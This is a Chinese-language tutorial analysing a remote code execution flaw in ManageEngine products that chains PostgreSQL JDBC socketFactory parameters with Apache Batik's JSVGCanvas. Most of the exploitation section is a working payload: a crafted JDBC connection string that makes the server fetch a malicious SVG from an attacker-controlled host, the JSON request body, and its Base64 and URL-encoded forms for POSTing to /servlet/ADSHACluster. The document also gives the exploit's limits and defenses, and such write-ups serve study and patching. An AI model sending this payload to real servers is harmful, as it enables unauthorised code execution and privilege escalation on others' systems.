ManageEngine JDBC RCE
字数 1025 2025-08-24 16:48:06
ManageEngine JDBC RCE漏洞分析与利用教学文档
漏洞概述
本漏洞存在于ManageEngine多款产品中,通过PostgreSQL JDBC驱动漏洞结合Apache Batik组件实现远程代码执行(RCE)。漏洞利用需要具备读取权限的账号,可用于权限提升。
受影响产品
- M365 Security Plus
- 其他多节点产品(具体版本需确认)
漏洞分析
漏洞接口
/servlet/ADSHACluster接口中存在敏感代码,该接口处理JDBC连接请求。
技术背景
-
PostgreSQL JDBC漏洞:利用JDBC连接字符串中的
socketFactory和socketFactoryArg参数,可以指定任意类并通过字符串参数构造对象。 -
Apache Batik组件:漏洞版本(1.14及以下)的
JSVGCanvas类可以通过URI参数加载远程SVG文件,进而实现RCE。
漏洞利用条件
- 产品中包含漏洞版本的PostgreSQL JDBC驱动
- 产品中包含漏洞版本的Apache Batik组件(1.14及以下)
- 攻击者需要知道接口所需的随机hash值(产品安装时生成)
漏洞复现步骤
1. 准备恶意文件
在攻击者控制的服务器上创建test.txt文件,内容为恶意SVG/JS代码。
2. 构造JDBC连接字符串
jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=javax.swing.JLabel&socketFactoryArg=<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.2.1:6565/test.txt'></object>
3. 构造请求数据
- 将JDBC连接信息放入JSON格式:
{
"DB_PROP": {
"url": "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=javax.swing.JLabel&socketFactoryArg=<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.2.1:6565/test.txt'></object>",
"drivername": "org.postgresql.Driver",
"username": "",
"password": ""
}
}
- 对JSON进行Base64编码:
eyJEQl9QUk9QIjp7InVybCI6ImpkYmM6cG9zdGdyZXNxbDovLzEyNy4wLjAuMTo1NDMyL3Rlc3QvP3NvY2tldEZhY3Rvcnk9amF2YXguc3dpbmcuSkxhYmVsJnNvY2tldEZhY3RvcnlBcmc9PGh0bWw+PG9iamVjdCBjbGFzc2lkPSdvcmcuYXBhY2hlLmJhdGlrLnN3aW5nLkpTVkdDYW52YXMnPjxwYXJhbSBuYW1lPSdVUkknIHZhbHVlPSdodHRwOi8vMTkyLjE2OC4yLjE6NjU2NS90ZXN0LnR4dCc+PC9vYmplY3Q+IiwiZHJpdmVybmFtZSI6Im9yZy5wb3N0Z3Jlc3FsLkRyaXZlciIsInVzZXJuYW1lIjoiIiwicGFzc3dvcmQiOiIifX0=
- 对Base64进行URL编码(防止Tomcat处理时破坏数据):
%65%79%4a%45%51%6c%39%51%55%6b%39%51%49%6a%70%37%49%6e%56%79%62%43%49%36%49%6d%70%6b%59%6d%4d%36%63%47%39%7a%64%47%64%79%5a%58%4e%78%62%44%6f%76%4c%7a%45%79%4e%79%34%77%4c%6a%41%75%4d%54%6f%31%4e%44%4d%79%4c%33%52%6c%63%33%51%76%50%33%4e%76%59%32%74%6c%64%45%5a%68%59%33%52%76%63%6e%6b%39%61%6d%46%32%59%58%67%75%63%33%64%70%62%6d%63%75%53%6b%78%68%59%6d%56%73%4a%6e%4e%76%59%32%74%6c%64%45%5a%68%59%33%52%76%63%6e%6c%42%63%6d%63%39%50%47%68%30%62%57%77%2b%50%47%39%69%61%6d%56%6a%64%43%42%6a%62%47%46%7a%63%32%6c%6b%50%53%64%76%63%6d%63%75%59%58%42%68%59%32%68%6c%4c%6d%4a%68%64%47%6c%72%4c%6e%4e%33%61%57%35%6e%4c%6b%70%54%56%6b%64%44%59%57%35%32%59%58%4d%6e%50%6a%78%77%59%58%4a%68%62%53%42%75%59%57%31%6c%50%53%64%56%55%6b%6b%6e%49%48%5a%68%62%48%56%6c%50%53%64%6f%64%48%52%77%4f%69%38%76%4d%54%6b%79%4c%6a%45%32%4f%43%34%79%4c%6a%45%36%4e%6a%55%32%4e%53%39%30%5a%58%4e%30%4c%6e%52%34%64%43%63%2b%50%43%39%76%59%6d%70%6c%59%33%51%2b%49%69%77%69%5a%48%4a%70%64%6d%56%79%62%6d%46%74%5a%53%49%36%49%6d%39%79%5a%79%35%77%62%33%4e%30%5a%33%4a%6c%63%33%46%73%4c%6b%52%79%61%58%5a%6c%63%69%49%73%49%6e%56%7a%5a%58%4a%75%59%57%31%6c%49%6a%6f%69%49%69%77%69%63%47%46%7a%63%33%64%76%63%6d%51%69%4f%69%49%69%66%58%30%3d
4. 发送请求
向/servlet/ADSHACluster接口发送POST请求,包含以下内容:
- 正确的hash值(产品安装时生成)
- URL编码后的Base64数据
限制条件
- 需要知道接口的随机hash值,这使得该漏洞无法实现未授权RCE
- 只能用于已有读取权限账号的权限提升
防御措施
- 升级Apache Batik组件至安全版本
- 升级PostgreSQL JDBC驱动至修复版本
- 限制
ADSHACluster接口的访问权限
参考资源
总结
该漏洞结合了PostgreSQL JDBC驱动和Apache Batik组件的安全问题,通过精心构造的JDBC连接字符串实现RCE。虽然需要特定条件才能利用,但仍具有较高危险性,建议相关用户及时采取防护措施。